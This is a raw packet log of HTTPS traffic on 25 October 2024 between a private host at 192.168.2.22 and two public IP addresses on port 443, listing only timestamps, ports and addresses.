Oct 25, 2024 19:47:07.686041117 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.686058998 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.686058998 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.686826944 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.686851025 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.686898947 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.686898947 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.686903954 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.686945915 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.687084913 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.687104940 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.687120914 CEST	443	49173	142.250.186.46	192.168.2.22
Oct 25, 2024 19:47:07.687150955 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.687150955 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.687158108 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.687177896 CEST	49173	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:47:07.687282085 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.687913895 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.687936068 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.687988997 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.687988997 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.687993050 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.688252926 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.688628912 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.688656092 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.688705921 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.688705921 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.688711882 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.688774109 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.689260006 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.689280987 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.689352989 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.689352989 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.689358950 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.699176073 CEST	49173	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:47:07.699191093 CEST	443	49173	142.250.186.46	192.168.2.22
Oct 25, 2024 19:47:07.699768066 CEST	443	49173	142.250.186.46	192.168.2.22
Oct 25, 2024 19:47:07.721951008 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.721977949 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.722057104 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.722073078 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.722094059 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.722136974 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.722635984 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.722656965 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.722697973 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.722708941 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.722748041 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.722748041 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.723175049 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.723201036 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.723242044 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.723249912 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.723278046 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.724673033 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.724694014 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.724745989 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.724756956 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.724848032 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.730736017 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.771050930 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.771079063 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.771332979 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.771338940 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.781089067 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.830487013 CEST	49173	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:47:07.835638046 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.835664034 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.835731030 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.835731983 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.835737944 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.835952997 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.838627100 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.838651896 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.838702917 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.838702917 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.838707924 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.839329004 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.839335918 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.839397907 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.839407921 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.839440107 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.839878082 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.839904070 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.839926004 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.839945078 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.839986086 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.839986086 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.875320911 CEST	443	49173	142.250.186.46	192.168.2.22
Oct 25, 2024 19:47:07.885356903 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.885380983 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.885447979 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.885457993 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.885654926 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.951530933 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.951556921 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.951585054 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.951591969 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.951627016 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.951688051 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.952265024 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.952291965 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.952330112 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.952330112 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.952334881 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.952420950 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.953356028 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.953381062 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.953416109 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.953416109 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.953421116 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.953457117 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.953949928 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.953972101 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.954009056 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.954009056 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.954015017 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.954078913 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.954260111 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.954283953 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.954319954 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.954319954 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:07.954324007 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:07.954418898 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.001986027 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.002010107 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.002067089 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.002067089 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.002074957 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.002147913 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.067502022 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.067528009 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.067583084 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.067583084 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.067591906 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.067718983 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.068900108 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.068927050 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.068949938 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.068955898 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.068981886 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.069009066 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.069446087 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.069467068 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.069509029 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.069509029 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.069514036 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.069519997 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.070127964 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.070152998 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.070194960 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.070194960 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.070202112 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.070255995 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.070935965 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.070956945 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.070980072 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.070986032 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.071023941 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.071023941 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.118282080 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.118308067 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.118355989 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.118355989 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.118362904 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.118432999 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.204598904 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.204634905 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.204691887 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.204691887 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.204700947 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.204725981 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.205136061 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.205157042 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.205178976 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.205185890 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.205219030 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.205219030 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.205884933 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.205909967 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.205931902 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.205948114 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.205956936 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.206101894 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.206794024 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.206820011 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.206854105 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.206854105 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.206860065 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.206865072 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.207597017 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.207617998 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.207698107 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.207698107 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.207703114 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.207775116 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.207809925 CEST	443	49173	142.250.186.46	192.168.2.22
Oct 25, 2024 19:47:08.233443975 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.233473063 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.233517885 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.233517885 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.233525038 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.233606100 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.302109003 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.302134991 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.302186012 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.302186012 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.302195072 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.302294970 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.302882910 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.302890062 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.302930117 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.302952051 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.302992105 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.302992105 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.302992105 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.303000927 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.303003073 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.303076982 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.303186893 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.303885937 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.303910017 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.303956032 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.303956032 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.303961992 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.304095984 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.304703951 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.304737091 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.304790974 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.304790974 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.304790974 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.304796934 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.317532063 CEST	443	49173	142.250.186.46	192.168.2.22
Oct 25, 2024 19:47:08.317759037 CEST	49173	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:47:08.318478107 CEST	49173	443	192.168.2.22	142.250.186.46
Oct 25, 2024 19:47:08.331077099 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.331110001 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.331217051 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.332031012 CEST	49174	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.332045078 CEST	443	49174	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.348738909 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.348764896 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.348877907 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.348877907 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.348877907 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.348886967 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.415345907 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.415376902 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.415471077 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.415472031 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.415472031 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.415483952 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.415915966 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.416007042 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.416013002 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.416019917 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.416084051 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.416091919 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.416100025 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.416222095 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.417185068 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.417208910 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.417288065 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.417288065 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.417293072 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.417315006 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.417889118 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.417915106 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.417967081 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.417967081 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.417967081 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.417973042 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.418574095 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.418595076 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.418649912 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.418649912 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.418649912 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.418656111 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.419504881 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.419529915 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.419564009 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.419569016 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.419713020 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.419713020 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.465215921 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.465243101 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.465286970 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.465286970 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.465293884 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.465367079 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.531358004 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.531384945 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.531445026 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.531445026 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.531454086 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.531820059 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.532073021 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.532094955 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.532131910 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.532131910 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.532136917 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.532186985 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.532859087 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.532885075 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.532944918 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.532944918 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.532952070 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.533178091 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.534189939 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.534214020 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.534300089 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.534300089 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.534300089 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.534305096 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.534954071 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.534977913 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.535037041 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.535037041 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.535037041 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.535043001 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.535593987 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.535614967 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.535681963 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.535681963 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.535686970 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.581034899 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.581063986 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.581232071 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.581232071 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.581232071 CEST	49172	443	192.168.2.22	142.250.185.97
Oct 25, 2024 19:47:08.581243038 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.646589994 CEST	443	49172	142.250.185.97	192.168.2.22
Oct 25, 2024 19:47:08.646615028 CEST	443	49172	142.250.185.97	192.168.2.22
